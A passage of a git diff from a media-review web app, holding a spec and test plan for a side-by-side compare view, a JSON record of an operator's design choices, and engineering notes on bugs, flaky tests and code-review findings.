- `a_flag_without_js_lands_on_the_same_pair`: `POST /flag` with `back=compare&a=..&b=..` → 303 to exactly `/b/<name>/compare?a=..&b=..`; with `side=a&link=0` added → exactly `…&side=a&link=0`; with `side=A` or `link=00` → neither appended; with a rel not in the ring → the no-back landing; `Accept: application/json` → 204, unchanged.
|
||||
- `every_other_landing_is_byte_identical`: the existing `back=view` / `back=marks` / no-back redirects are unchanged (R2 INV-4).
|
||||
- `the_review_offers_compare_with_the_next_item`: with the doc fixture, the review of a media item links `compare?a=<it>&b=<the next media item in the ring>`, skipping the doc; the last media item links to the first.
|
||||
- `view_state_rides_the_links`: with `side=a&link=0`, every step and strip link carries both; an unknown `side=z` or `link=maybe` renders as B-active and linked, never an error.
|
||||
- `no_data_region_repeats`: on a compare page, including `a == b`, every `data-region` value is unique, and the side regions are `flag-a`, `flag-b`, `label-a` and `label-b`.
|
||||
- `a_missing_param_is_404_not_422`: `compare?a=<x>` without `b` → 404.
|
||||
- `an_outside_symlink_in_the_ring_is_404`: a booth symlink pointing outside the booth is in review_chain, and compare with it as either side → 404.
|
||||
- `compare_carries_data_booth`: the page's `<html>` carries `data-booth`.
|
||||
|
||||
Browser (`tests/test_compare_browser.py`):
|
||||
- `two_stages_side_by_side_wide_and_stacked_narrow` [tracer]: at 1440 both stages sit in one row; at 390 A sits above B and each is at most 45vh.
|
||||
- `one_mode_for_both_and_for_the_review`: `Z` switches both stages to 1:1; `localStorage['booth.fit']` is `one`; the review then opens in 1:1.
|
||||
- `synced_pan_lands_on_the_same_crop`: two equal-size pictures larger than the stage in 1:1. A drag on A of (+80, +60) scrolls both by (−80, −60). A scrollbar or wheel scroll on B moves A to the same fraction. Neither stage drifts after a second of idle.
|
||||
- `synced_pan_by_fraction_for_different_sizes`: a 2000px and a 3000px picture, one scrolled to its middle, puts the other at its middle; and one scrolled to 25% of its range puts the other at 25% of ITS range (not at the same pixel offset). This is the test that sees a fraction bug; the equal-size test above cannot, because equal overflow makes offsets and fractions coincide.
|
||||
- `a_flags_A_in_place_and_the_stages_survive`: press `A` → A's flag shows flagged with no navigation; the stage elements are the same nodes (a stage was not swapped).
|
||||
- `linked_arrow_walks_a_bakeoff`: in a booth shaped like sindra-bakeoff (lanes m and r, 4 pairs), open m#1 vs r#1 and press `→` three times: each pair shares its scene and seed suffix.
|
||||
- `unlinked_moves_only_the_active_side_and_the_strip_picks_it`: `L`, then `→`, moves only B, and a SECOND `→` still moves only B (the unlinked state survived the navigation); a click on a strip frame sets the active side's item; `X` swaps the active side and the reticle follows it, and survives the next step.
|
||||
- `blur_is_honest_on_both_sides`: a blurred B's image has a COMPUTED filter containing `blur(`, not just a class. Its own reveal clears it. Reveal all clears both, and hides both `cmp-reveal` buttons.
|
||||
- `a_save_keeps_the_active_side`: make A active, flag B in place → A is still active (reticle, strip marker), and a strip click after the swap still sets A.
|
||||
- `without_js_every_judgment_and_step_still_works`: JS off — the pair renders, the step and strip links navigate, and a flag lands back on the same pair.
|
||||
- `the_review_still_behaves_exactly_as_r2c_says`: the r2c browser suite passes unchanged against the refactored view.html. This is a gate, not a new test.
|
||||
|
||||
## Assertions that change (declared before the code)
|
||||
|
||||
| test | today | after | why |
|
||||
|---|---|---|---|
|
||||
| no behavioural assertion | — | — | view.html's behaviour is unchanged (INV-6). The only additions are the Compare control and the `C` key, which no current test pins. |
|
||||
| tests/mutations/r2c.toml: 21 rows anchor in view.html's script; the 15 on the toggle, the storage listener and drag-pan | `file = view.html`, anchors in the inline script | `file = _stage_js.html`, anchors re-pointed to the parameterised code (e.g. `stage.scrollLeft` becomes the attached stage's name) | the code moved (C4); every re-pointed row must still FALSIFY |
|
||||
| tests/mutations/r2c.toml: the other 6 of those 21, the arrow placement, including the resize row ("S3 the arrows do not follow a resize") | view.html | unchanged: `place()` and view's ResizeObserver stay in view.html (C4) | — |
|
||||
| tests/mutations/r2b.toml, the row on Space from a focused button | view.html's keydown | unchanged: the keydown handler stays in view.html | — |
|
||||
| tests/mutations/r2b.toml, "the top-bar controls squeeze into multi-line stacks at phone width" (declared during the build) | removes the no-wrap rules | removes the no-wrap rules AND the phone-width wrap | a wrapping bar never squeezes, so removing the no-wrap rules alone went vacuous; r3.toml rows the wrap on its own |
|
||||
| new: tests/mutations/r3.toml | — | rows for: the side-keyed region ids, the conjunction 404, `back=compare`'s ring check, the linked distance, the synced-pan loop guard, the `data-booth` attribute, the `cmp-reveal` Reveal-all rule | the r3 falsifiers |
|
||||
|
||||
**The gate for the refactor is the TABLE, not only the suite:**
|
||||
`scripts/mutation_check.py tests/mutations/r2c.toml` (and r2b.toml) with every
|
||||
row falsifying after the move. A green r2c browser suite proves the behaviour
|
||||
survived. The table proves the tests still bind to the code that moved
|
||||
(booth-dev, S8).
|
||||
|
||||
## Out of scope
|
||||
|
||||
- Detecting pairs from filenames (ruled out: 1 of 26 live booths pairs by a name rule, and none of sindra-h2h does).
|
||||
- An A-better / same / B-better record (ruled: parked). If it is ever ruled in, it is a new mark keyed by an ORDERED pair of rels, in booth-dev's storage, with the JSON sessions read stated (booth-dev's note).
|
||||
- A zoom between Fit and 1:1, wheel zoom, and pinch (parked into r3 by r2c; parked again here: compare works at Fit and 1:1, and a third level is its own unit if the operator asks for it).
|
||||
- Three or more panes, onion-skin or swipe overlays, and a difference view.
|
||||
- Synced playback of two videos or two tracks (each stage plays on its own).
|
||||
- A grid multi-select to start a compare from the lightbox (the review's `C` and the picker strip cover picking).
|
||||
- Comparing across booths.
|
||||
@@ -0,0 +1,218 @@
|
||||
{
|
||||
"booth": "booth-flow-concepts",
|
||||
"mark": {
|
||||
"id": "flow",
|
||||
"shape": "pick",
|
||||
"target": null,
|
||||
"created": "2026-09-23T07:18:16.254321-07:00",
|
||||
"declaration": {
|
||||
"title": "The Booth — round 2: which flow gets built",
|
||||
"questions": [
|
||||
{
|
||||
"key": "direction",
|
||||
"prompt": "Which flow becomes the Booth?",
|
||||
"options": [
|
||||
{
|
||||
"id": "a_b",
|
||||
"label": "A + B's reel as the review mode",
|
||||
"detail": "RECOMMENDED — the Desk + lightbox; full size gets the tape, seen-tracking and the end-of-set summary"
|
||||
},
|
||||
{
|
||||
"id": "a",
|
||||
"label": "A — The Desk alone",
|
||||
"detail": "triage index + lightbox + full-size review with filmstrip; no seen-tracking"
|
||||
},
|
||||
{
|
||||
"id": "b",
|
||||
"label": "B — The Reel",
|
||||
"detail": "every booth opens as a one-at-a-time review; the grid is secondary"
|
||||
},
|
||||
{
|
||||
"id": "c",
|
||||
"label": "C — The Bench",
|
||||
"detail": "compare-first; argued against as the default"
|
||||
}
|
||||
]
|
||||
},
|
||||
{
|
||||
"key": "compare",
|
||||
"prompt": "Compare mode (C as a view toggle):",
|
||||
"options": [
|
||||
{
|
||||
"id": "this_arc",
|
||||
"label": "Build it in this arc, after A/B land",
|
||||
"detail": "RECOMMENDED — the ladders and bakeoffs already need it"
|
||||
},
|
||||
{
|
||||
"id": "v11",
|
||||
"label": "Leave it parked for v1.1",
|
||||
"detail": "booth-dev's current plan"
|
||||
}
|
||||
]
|
||||
},
|
||||
{
|
||||
"key": "voice",
|
||||
"prompt": "The new copy I'll be writing — which voice?",
|
||||
"options": [
|
||||
{
|
||||
"id": "plain",
|
||||
"label": "Plain and direct",
|
||||
"detail": "RECOMMENDED — it's a judgment surface; deadpan only where nothing is at stake (empty states)"
|
||||
},
|
||||
{
|
||||
"id": "deadpan",
|
||||
"label": "SVOS deadpan villainy throughout",
|
||||
"detail": "the full SVOS voice"
|
||||
}
|
||||
]
|
||||
},
|
||||
{
|
||||
"key": "emblem",
|
||||
"prompt": "The SVS emblem in the top bar?",
|
||||
"options": [
|
||||
{
|
||||
"id": "no",
|
||||
"label": "No",
|
||||
"detail": "RECOMMENDED — a fleet utility; the glowing dot and reticle favicon carry the family look"
|
||||
},
|
||||
{
|
||||
"id": "yes",
|
||||
"label": "Yes — the square emblem",
|
||||
"detail": "brands the Booth as part of the SVOS suite"
|
||||
}
|
||||
]
|
||||
}
|
||||
],
|
||||
"notes": true
|
||||
},
|
||||
"prompt": "The Booth — round 2: which flow gets built",
|
||||
"title": "The Booth — round 2: which flow gets built",
|
||||
"multi": true,
|
||||
"questions": [
|
||||
{
|
||||
"key": "direction",
|
||||
"prompt": "Which flow becomes the Booth?",
|
||||
"options": [
|
||||
{
|
||||
"id": "a_b",
|
||||
"label": "A + B's reel as the review mode",
|
||||
"detail": "RECOMMENDED — the Desk + lightbox; full size gets the tape, seen-tracking and the end-of-set summary"
|
||||
},
|
||||
{
|
||||
"id": "a",
|
||||
"label": "A — The Desk alone",
|
||||
"detail": "triage index + lightbox + full-size review with filmstrip; no seen-tracking"
|
||||
},
|
||||
{
|
||||
"id": "b",
|
||||
"label": "B — The Reel",
|
||||
"detail": "every booth opens as a one-at-a-time review; the grid is secondary"
|
||||
},
|
||||
{
|
||||
"id": "c",
|
||||
"label": "C — The Bench",
|
||||
"detail": "compare-first; argued against as the default"
|
||||
}
|
||||
],
|
||||
"notes": false
|
||||
},
|
||||
{
|
||||
"key": "compare",
|
||||
"prompt": "Compare mode (C as a view toggle):",
|
||||
"options": [
|
||||
{
|
||||
"id": "this_arc",
|
||||
"label": "Build it in this arc, after A/B land",
|
||||
"detail": "RECOMMENDED — the ladders and bakeoffs already need it"
|
||||
},
|
||||
{
|
||||
"id": "v11",
|
||||
"label": "Leave it parked for v1.1",
|
||||
"detail": "booth-dev's current plan"
|
||||
}
|
||||
],
|
||||
"notes": false
|
||||
},
|
||||
{
|
||||
"key": "voice",
|
||||
"prompt": "The new copy I'll be writing — which voice?",
|
||||
"options": [
|
||||
{
|
||||
"id": "plain",
|
||||
"label": "Plain and direct",
|
||||
"detail": "RECOMMENDED — it's a judgment surface; deadpan only where nothing is at stake (empty states)"
|
||||
},
|
||||
{
|
||||
"id": "deadpan",
|
||||
"label": "SVOS deadpan villainy throughout",
|
||||
"detail": "the full SVOS voice"
|
||||
}
|
||||
],
|
||||
"notes": false
|
||||
},
|
||||
{
|
||||
"key": "emblem",
|
||||
"prompt": "The SVS emblem in the top bar?",
|
||||
"options": [
|
||||
{
|
||||
"id": "no",
|
||||
"label": "No",
|
||||
"detail": "RECOMMENDED — a fleet utility; the glowing dot and reticle favicon carry the family look"
|
||||
},
|
||||
{
|
||||
"id": "yes",
|
||||
"label": "Yes — the square emblem",
|
||||
"detail": "brands the Booth as part of the SVOS suite"
|
||||
}
|
||||
],
|
||||
"notes": false
|
||||
}
|
||||
],
|
||||
"options": [],
|
||||
"notes_enabled": true,
|
||||
"notes_label": "notes",
|
||||
"answer": {
|
||||
"stem": "flow",
|
||||
"title": "The Booth — round 2: which flow gets built",
|
||||
"answers": {
|
||||
"direction": {
|
||||
"prompt": "Which flow becomes the Booth?",
|
||||
"choice": "a_b",
|
||||
"choice_index": 0,
|
||||
"label": "A + B's reel as the review mode",
|
||||
"notes": ""
|
||||
},
|
||||
"compare": {
|
||||
"prompt": "Compare mode (C as a view toggle):",
|
||||
"choice": "this_arc",
|
||||
"choice_index": 0,
|
||||
"label": "Build it in this arc, after A/B land",
|
||||
"notes": ""
|
||||
},
|
||||
"voice": {
|
||||
"prompt": "The new copy I'll be writing — which voice?",
|
||||
"choice": "plain",
|
||||
"choice_index": 0,
|
||||
"label": "Plain and direct",
|
||||
"notes": ""
|
||||
},
|
||||
"emblem": {
|
||||
"prompt": "The SVS emblem in the top bar?",
|
||||
"choice": "no",
|
||||
"choice_index": 0,
|
||||
"label": "No",
|
||||
"notes": ""
|
||||
}
|
||||
},
|
||||
"unanswered": [],
|
||||
"complete": true,
|
||||
"notes": "",
|
||||
"answered_at": "2026-09-23T08:07:40-07:00",
|
||||
"answered_by": "100.64.0.4"
|
||||
},
|
||||
"text": "",
|
||||
"flagged": false,
|
||||
"by": "",
|
||||
"error": null
|
||||
}
|
||||
}
|
||||
@@ -48,3 +48,22 @@ rules (position, alphabetical, count) disagree.
|
||||
Whether it becomes `scripts/` is an open question for the operator — this repo
|
||||
has now been bitten by vacuous falsifiers three times, and prose in a memory
|
||||
file is not an instrument.
|
||||
|
||||
## A third way an instrument goes blind: `nth-child` vs `nth-of-type`
|
||||
|
||||
_Added 2026-09-23, credited to design-dev, who hit it in his R2 order check._
|
||||
|
||||
His layout check has a positive control — one tile given `order:-1` that the
|
||||
check must catch. **The control went blind when group headers became grid
|
||||
children**: `nth-child(5)` started landing on a header instead of the fifth
|
||||
tile, so the control stopped controlling and the check kept reporting clean.
|
||||
|
||||
Same class as this file's other two, and the reason it belongs here: **a control
|
||||
that no longer controls reads exactly like a passing test.** Nothing in the
|
||||
output distinguishes "detected nothing because there was nothing" from
|
||||
"detected nothing because I am aimed at the wrong element".
|
||||
|
||||
**The rule worth having written down:** use `nth-of-type` over `nth-child` for
|
||||
any assertion that means *the Nth TILE* rather than *the Nth child element*.
|
||||
The two agree right up until somebody adds a sibling of a different kind — and
|
||||
adding a sibling is what a redesign is.
|
||||
|
||||
+72
@@ -0,0 +1,72 @@
|
||||
# v1.0.0b1 — the v1 target staged as a beta, and a version that was two copies
|
||||
|
||||
_2026-09-22 · booth_
|
||||
|
||||
**All seven v1 units landed, so the operator cut `1.0.0b1`** — the first release
|
||||
of the 1.x train, deliberately a BETA rather than a final. Tag `v1.0.0b1`,
|
||||
annotated (milestone), commit `3126dec`.
|
||||
|
||||
**The beta is the right vehicle and not a hedge.** The canonical policy defines
|
||||
`-beta.N` as feature-complete, external testing, no new features, focus on bugs
|
||||
— which is exactly this state, with a cross-frontier bug-hunt panel outstanding
|
||||
on U7's diff. This repo already paid for the alternative once:
|
||||
[[2026-09-21-v020-tagged-with-a-gate-in-flight]] — v0.2.0 was tagged AND
|
||||
announced while a panel was in flight, the panel found three defects in the
|
||||
just-released code, and v0.2.1 shipped within the hour. **A beta is the designed
|
||||
answer to that, not a workaround for it.**
|
||||
|
||||
## Version format, decided and worth not re-deriving
|
||||
|
||||
- `pyproject.toml` carries **`1.0.0b1`** — PEP 440, which is what the packaging
|
||||
tool normalizes `1.0.0-beta.1` to anyway.
|
||||
- The git tag is **`v1.0.0b1`**, matching the artifact string exactly rather
|
||||
than carrying a SemVer spelling the wheel does not. One string, no translation
|
||||
layer.
|
||||
- Ordering verified: `0.6.1 < 1.0.0b1 < 1.0.0`.
|
||||
|
||||
## ⚠ The version was TWO copies, and the obvious fix was the wrong one
|
||||
|
||||
`booth.__version__` was the literal `"0.1.0"` and had been wrong through six
|
||||
releases. Nothing reads it, which is why nobody noticed.
|
||||
|
||||
**The reflex fix — derive it from `importlib.metadata` — is WRONG HERE, and
|
||||
measurably so.** This repo has no build step and no install step: `booth.service`
|
||||
runs uvicorn with `WorkingDirectory` set to the tree, so the running code IS
|
||||
this checkout. Installed metadata describes a different artifact. The venv was
|
||||
carrying a vestigial `booth-0.3.0.dist-info` **with no package directory behind
|
||||
it**, so `importlib.metadata.version("booth")` returned `0.3.0` for a tree at
|
||||
`1.0.0b1` — confidently wrong, and varying by environment, which is worse than
|
||||
a literal that at least fails the same way everywhere.
|
||||
|
||||
It now reads `pyproject.toml` via `tomllib`, with metadata as the fallback for
|
||||
the wheel case this repo does not have. **The test asserts the ABSENCE OF A
|
||||
LITERAL, not agreement with pyproject** — comparing the two would be circular
|
||||
and would prove only that the read works. The defeating change is hardcoding a
|
||||
number back in, and that is what is caught.
|
||||
|
||||
## ⚠ `booth/__init__.py` is a FOURTH stdlib-only module
|
||||
|
||||
`scripts/booth` imports `booth.links` / `booth.marks` / `booth.manifest` under
|
||||
the SYSTEM python3 with no venv — and every one of those executes the package
|
||||
root first. So a single third-party import in `__init__.py` breaks `booth ask`
|
||||
on every fleet host exactly as one in the documented three would, and **nothing
|
||||
asserted it.** `test_stdlib_only` now covers `__init__`; `tomllib` is stdlib and
|
||||
`requires-python` is `>=3.11`, so the pyproject read is safe there. Verified by
|
||||
running the real import chain under `/usr/bin/python3` 3.11.2 with no venv.
|
||||
|
||||
## Handoff sent
|
||||
|
||||
The SVOS design-system retrofit went to `design-dev` (althing thread
|
||||
`01M369321KNBPZ7FYDQGZG7AXP`) — the IA is ours and settled, the visual and
|
||||
interaction system is his. **ACCEPTED in-session within five minutes**; he
|
||||
declined a `/vor-ui` brief on the grounds that the IA doc, the landed templates
|
||||
and the seven constraints already are one, and a `/vor-ui` pass would cost the
|
||||
operator a serial Q&A to re-derive IA we had already measured. Agreed.
|
||||
|
||||
⚠ **A `postbox send` note is a POINT-IN-TIME SNAPSHOT, not a durable fact about
|
||||
a handle.** The send response said `design-dev: pull-only; last read
|
||||
2026-09-21T18:44Z`, and this file first recorded that as standing truth —
|
||||
including a "silence is not a decision" warning built on it. `postbox handles`
|
||||
says **`design-dev push reachable`**, and his reply landed in-session. Read the
|
||||
mode from `postbox handles` when it matters; never promote a send-time note into
|
||||
memory.
|
||||
@@ -0,0 +1,70 @@
|
||||
# The blur round-trip, and the migration that recreated the bug it fixed
|
||||
|
||||
_2026-09-23 → 2026-09-24. Operator: "fix the blur." Commits `4cfbce5`,
|
||||
`c1f5543` (merged `6880ab3`), `8a78a9b`._
|
||||
|
||||
## The defect
|
||||
|
||||
design-dev's r2b bug-hunt found the `/blur` route stripping `f`, so the form for
|
||||
`" a.png"` blurred `"a.png"`. The route was only half of it: `.blurred` was one
|
||||
stripped rel per line, so NO writer could store a rel with edge whitespace or a
|
||||
newline. There were no live victims (6 legacy files, 42 rels, none with edge
|
||||
whitespace; 0 live filenames with edge whitespace), so it was latent.
|
||||
|
||||
## Round 1 (`4cfbce5`)
|
||||
|
||||
- JSON array (the `.seen` shape) through a new stdlib-only `booth/blur.py`, so
|
||||
the CLI and the service share one reader and one writer. The CLI had its own
|
||||
grep/printf line writer, and after the format change it would have appended a
|
||||
line to a JSON array.
|
||||
- `Item.blurred_self` resolved in `booth_items` from the same read as
|
||||
`blurred`, replacing build_gallery's second `read_blurred`. That was a
|
||||
two-reads-of-one-file seam (invariant 3).
|
||||
- Built in a git worktree, because `scripts/booth` imports from the deployment
|
||||
root LIVE: a half-built blur.py would have broken `booth blur` for every
|
||||
session mid-TDD.
|
||||
|
||||
## Round 2: heid bug-hunt (hulda, regin, kimi; groa timed out) → `c1f5543`
|
||||
|
||||
- **3/3: the migration recreated the bug.** JSON went into the OLD file name
|
||||
and the reader sniffed the format. A legacy file whose one line is an item
|
||||
named `["a.png"]` parses as JSON and blurs the neighbour. The docstring
|
||||
claimed that case was handled, and it wasn't. Fix: a NEW name,
|
||||
`.blurred.json`. The legacy `.blurred` is lines only, read only while
|
||||
`.blurred.json` is absent, and retired by the first write.
|
||||
- 2/3 + one: a planted directory 500'd the write path; the read path was
|
||||
hardened and the writer was not. Fix: the writer is judged by its reader (a
|
||||
postcondition), with BlurUnwritable answered as a 409.
|
||||
- hulda (execution-verified): a lone surrogate `"\ud800"` in planted JSON made
|
||||
every later write raise UnicodeEncodeError. Now dropped on read.
|
||||
- 2/3: the writer had no size cap, and the reader reads an oversized file as
|
||||
EMPTY. The writer now refuses first.
|
||||
- 2/3: the CLI's `*..*` refused `a..b.png`, which the route accepted. There's
|
||||
now one `check_rel` predicate for both, which also refuses an empty rel.
|
||||
- kimi: `booth blur` without its package printed a bare traceback. It now
|
||||
fails closed with exit 3, like `link`.
|
||||
- Declined: the Item positional-constructor break (booth_items is the only
|
||||
constructor, INV-1); the fdopen fd leak and the short read (not
|
||||
constructible on a local fs, the `.seen` shape); unreadable reads as
|
||||
revealed (blur is cosmetic, the `.seen` posture).
|
||||
|
||||
## Round 3: groa's late retry → `8a78a9b`
|
||||
|
||||
Its four bugs were the same four, already fixed. Its 0600 note ("a cross-uid
|
||||
reader sees nothing and replaces it") exposed the real gap: `set_blurred`
|
||||
built on `read_blurred`, the renderer's LENIENT reader, so an unreadable,
|
||||
oversized or malformed file became an empty set and was overwritten. That is
|
||||
the `.marks.json` wipe of 2026-09-21
|
||||
([[2026-09-21-tolerant-writer-over-tolerant-reader]]), repeated in a new module
|
||||
and live for one night. Fix: `_load` is one parse with two postures (strict
|
||||
for the writer, lenient for the renderer). It refuses only for a REGULAR file
|
||||
it cannot read, since a link, a directory or a FIFO holds no set to lose. The
|
||||
file is 0644 again.
|
||||
|
||||
## Mutation notes
|
||||
|
||||
- `blur_storage.toml` is 25/25.
|
||||
- One row was vacuous on its first run (`set() or X` is `X`).
|
||||
- Two open-flag rows went vacuous once `_load` lstat-checked for a regular
|
||||
file first. They're now proved by direct `_read_capped` tests, because they
|
||||
still close the lstat-to-open race.
|
||||
@@ -0,0 +1,42 @@
|
||||
# Creation dates, and three guesses wearing a fact's clothes
|
||||
|
||||
_2026-09-23 · booth_
|
||||
|
||||
The operator asked for creation and update dates on booths. **Update** was
|
||||
already there — `landed_at`, the newest mtime among CONTENT excluding our own
|
||||
machinery. **Creation** had no honest source, and the interesting part is the
|
||||
three wrong answers.
|
||||
|
||||
## Only 18 of 30 booths could state a creation time
|
||||
|
||||
`.booth.json` carries a declared `created`, but it exists only for booths posted
|
||||
through the CLI since U5. Twelve live booths had nothing.
|
||||
|
||||
## ⚠ Every convenient substitute was a GUESS PRESENTED AS A FACT
|
||||
|
||||
- **Oldest content mtime** — wrong the moment an agent copies files with
|
||||
timestamps preserved (`cp -p`, `rsync -a`), which is common. It would report
|
||||
the SOURCE material's age as the booth's.
|
||||
- **Directory mtime** — that is "last thing added", i.e. `landed_at` under a
|
||||
second name. Two fields, one meaning, displayed as if they were different.
|
||||
- **Stamp a first-seen marker on read** — and this is the one worth flagging,
|
||||
because it is the same write-on-read shape that had *already* cost this
|
||||
service an hour that same day when the thumbnail cache aged the booth it
|
||||
cached ([[2026-09-23-the-cache-that-aged-the-thing-it-cached]]). A fix whose
|
||||
shape you just finished paying for is not a fix.
|
||||
|
||||
## The answer was a fact the disk already held
|
||||
|
||||
**ext4 records a real birth time.** CPython does not expose `st_birthtime` on
|
||||
Linux, but `statx(2)` does and glibc has wrapped it since 2.28, so
|
||||
`booth/birthtime.py` reads it through `ctypes`. Verified against `stat(1)` on
|
||||
live booths: **6 of 6 exact**, including every booth with no manifest.
|
||||
|
||||
One rule for all thirty, which is what invariant 6 asks of anything statable in
|
||||
a line. `None` when the filesystem cannot say (tmpfs, NFS, an old kernel), and
|
||||
**None renders as nothing** — a blank is the honest output when nobody knows,
|
||||
and better than a plausible number.
|
||||
|
||||
**The generalisable bit:** when a fact seems unavailable, check whether the
|
||||
system already records it before reaching for a proxy. Three plausible proxies
|
||||
were considered and one was nearly built; the real answer was a syscall away.
|
||||
@@ -0,0 +1,30 @@
|
||||
# The Desk's "Everything else" sorts by last UPDATE, not last activity
|
||||
|
||||
_2026-09-23. Commit `64f6488`. Operator: "how is this last activity first?",
|
||||
then "Easier — last activity can just be last time the booth was updated, not
|
||||
necessarily operator's last activity."_
|
||||
|
||||
## What was wrong
|
||||
|
||||
- The section sorted by `_newest_mtime`, which counts `.viewed`. Every GET of a
|
||||
booth, marks or review page records a look.
|
||||
- Two sessions' post-deploy GET sweeps (17:48 and 21:46, both 127.0.0.1)
|
||||
recorded a look at 22 booths within half a second. The section collapsed
|
||||
into reverse name order through the `(mtime, name)` reverse tie-break.
|
||||
- The rows show "updated X ago" (`landed_at`), a different clock from the sort.
|
||||
- The same sweeps emptied "new since you looked". The access log showed 3
|
||||
booths never opened from a 10.0.10.x or 100.64.x device: `dfa-landing`,
|
||||
`ldp-polish`, `pewpew-ui-brief`.
|
||||
- **The operator declined repairing `.viewed` from the log** (the mesh IPs
|
||||
can't be attributed with certainty), and declined gating views on
|
||||
`Sec-Fetch-Dest`. Both were offered.
|
||||
|
||||
## The fix
|
||||
|
||||
- `rest.sort(key=(-landed_at, name))`, labelled "last updated first".
|
||||
- `list_booths` keeps its order for its other readers, and `_newest_mtime`
|
||||
still feeds lifetime.
|
||||
- The r2_flow contract (§3, the ordering table, INV-5) and the ROADMAP ordering
|
||||
row were amended.
|
||||
- CLAUDE.md "Working in here" now says how to check live without recording a
|
||||
look.
|
||||
@@ -0,0 +1,58 @@
|
||||
# The browser suite is flaky under load — UNRESOLVED, and owned by design-dev
|
||||
|
||||
_2026-09-23 · booth_
|
||||
|
||||
⚠ **OPEN. Not fixed. Do not read a green suite as proof of anything without
|
||||
re-running it.**
|
||||
|
||||
## What is observed, with its limits
|
||||
|
||||
**Three different browser tests** have each failed once under full-suite load
|
||||
while passing repeatedly in isolation:
|
||||
|
||||
| test | owner | isolation | full suite |
|
||||
|---|---|---|---|
|
||||
| `test_the_keyboard_flag_actually_submits` | booth-dev | 5/5 pass | 1 failure |
|
||||
| `test_a_failed_save_says_so_reloads_and_never_re_posts` | design-dev | 3/3 pass | 1 failure |
|
||||
| `test_the_review_keys_judge_in_place_and_stay_out_of_the_note` | design-dev | 10/10 + 5/5 pass | 1 in ~9 |
|
||||
|
||||
Three different tests points at **the environment under contention**, not at any
|
||||
one test. That is a direction, not a finding.
|
||||
|
||||
## Two real defects found chasing it — NEITHER PROVEN TO BE THE CAUSE
|
||||
|
||||
1. **A keypress race.** The flag test fired `ArrowRight` and `f` back to back,
|
||||
assuming the first had finished — but `focus()` does a `scrollIntoView`, so
|
||||
under load `f` could arrive with no cursor set. Now waits for
|
||||
`figure.item.is-cursor`.
|
||||
2. **A port TOCTOU in BOTH browser fixtures.** Each did `bind → getsockname →
|
||||
CLOSE → hand uvicorn the port NUMBER`, leaving a window for the kernel to
|
||||
give that port away — and this suite runs two browser files that each start a
|
||||
server per test, so the competitor is the other file. The bound socket is now
|
||||
passed to `server.run(sockets=[sock])`.
|
||||
|
||||
**Since those fixes: one failure in three full runs. n=3 CANNOT distinguish
|
||||
that from the prior rate, and no claim of improvement is made.**
|
||||
|
||||
## Who owns it and what the method is
|
||||
|
||||
**The operator ruled: "let him diagnose it properly."** design-dev owns it. His
|
||||
method: a trace hook keeping a Playwright trace (screenshots + DOM snapshots)
|
||||
for every browser test that fails, captured **from the run that fails**, then
|
||||
full-suite runs until red and the artefact decides. Test-only infra, on his
|
||||
branch as its own commit.
|
||||
|
||||
⚠ **The methodological trap, and why the artefact must come from the full
|
||||
suite:** the failure only reproduces there. A narrowed repro that passes proves
|
||||
nothing and will be mistaken for a fix.
|
||||
|
||||
## Addendum 2026-09-24 — the offline fix, and what 0/24 can and cannot say
|
||||
|
||||
design-dev's suspect was Google Fonts stalling "networkidle". A stalled font
|
||||
request reproduces the exact error (which shows sufficiency only). The fix
|
||||
landed in `b92b002`: the test browser has no internet, with a positive control
|
||||
per fixture. Traced runs: 0/15 (light) and 0/8 (heavy). No trace ever caught
|
||||
the stalled request. Untraced after the fix: **0 reds in 24**, against a pre-fix
|
||||
rate of 1 in 8 that is itself one red in eight runs (95% CI roughly 0.3–53%).
|
||||
At a true rate of 1 in 20, 0/24 happens 29% of the time. So it's consistent
|
||||
with the fix and not a confirmation of the cause.
|
||||
@@ -0,0 +1,77 @@
|
||||
# The bug-hunt panel found six defects and five vacuous falsifiers
|
||||
|
||||
_2026-09-23 · booth_
|
||||
|
||||
Cross-frontier panel (Gróa/Hulda/Regin/Kimi) on U7's diff, althing thread
|
||||
`01M368G2Y0JMTJ2T7M3JMTXV5Z`. Landed at `397ea89`. **Four of the six fixes are
|
||||
for defects no test in this repo could have caught**, and the guard-strength
|
||||
sections did something the findings alone would not have.
|
||||
|
||||
## ⚠ The mechanic worth keeping: browsers match a fragment RAW FIRST
|
||||
|
||||
The group anchor and the tile id were BOTH the raw rel. That reads as "merely
|
||||
unencoded" and it is not — it is **ambiguous**, because the HTML spec's
|
||||
scroll-to-fragment tries an exact match on the raw fragment and only THEN on the
|
||||
percent-decoded one. So with `a b.png` and `a%20b.png` in one booth, the first's
|
||||
href resolves to the fragment `item-a%20b.png` and **the raw pass matches the
|
||||
SECOND file's id.** The jump lands on the wrong artifact — invariant 6's
|
||||
misfiled-judgment failure, arriving through a path invariant 6 never looked at.
|
||||
|
||||
**The fix has to move BOTH sides.** Encoding the anchor alone just relocates the
|
||||
collision. Both now use `Item.url` (`quote(rel, safe="/")`), which is injective
|
||||
here (`a b` → `a%20b`, `a%20b` → `a%2520b`) and is the convention `booth_flag`
|
||||
has always used. The panel's agreed fix (`quote(name, safe='/')` on the anchor)
|
||||
was half of it; the correction went back to them.
|
||||
|
||||
## The blast radius nobody had measured
|
||||
|
||||
**One non-UTF-8 filename 500s the INDEX for every booth**, not just its own
|
||||
page. A 0xff byte reaches CPython as a surrogate, `quote` raises on it outside
|
||||
any per-item handler, and `booth_items` feeds `list_booths` as well as the
|
||||
gallery. Same shape as
|
||||
[[2026-09-22-lenient-reader-blast-radius]]: the per-item read looks local and
|
||||
is not. Such a file cannot be linked, served or zipped, so it is now skipped
|
||||
like a dotfile.
|
||||
|
||||
## ⚠ FIVE VACUOUS FALSIFIERS IN ONE UNIT
|
||||
|
||||
The count that matters. Three arms **independently** found that
|
||||
`test_every_group_anchor_lands_on_a_rendered_tile` survived `v[0]` → `v[-1]`:
|
||||
it asserted the href occurred as SOME id on the page, which stays true while
|
||||
pointing at the wrong one. Hulda's guard table added two more (the
|
||||
informativeness guard survived `sizes[-1]`; the group count survived
|
||||
`len(v) + 1`). Two more were mine, found after:
|
||||
|
||||
- the zero-hit filter test used the shared `gallery` fixture, which **has** a
|
||||
flagged item — so it passed without ever reaching the empty-filter state it
|
||||
names;
|
||||
- the escaping test asserted over the whole page and went red on a **code
|
||||
comment** containing the string it forbade.
|
||||
|
||||
**A guard-strength pass is the highest-value part of a panel on a well-tested
|
||||
diff.** Regin's "unusually well-tested already" and Kimi's "the commentary was
|
||||
accurate everywhere except where it didn't mention encoding at all" are both
|
||||
true and point at the same thing: the findings were in the gaps the commentary
|
||||
was confident about.
|
||||
|
||||
## Accepted known risks, documented rather than implied
|
||||
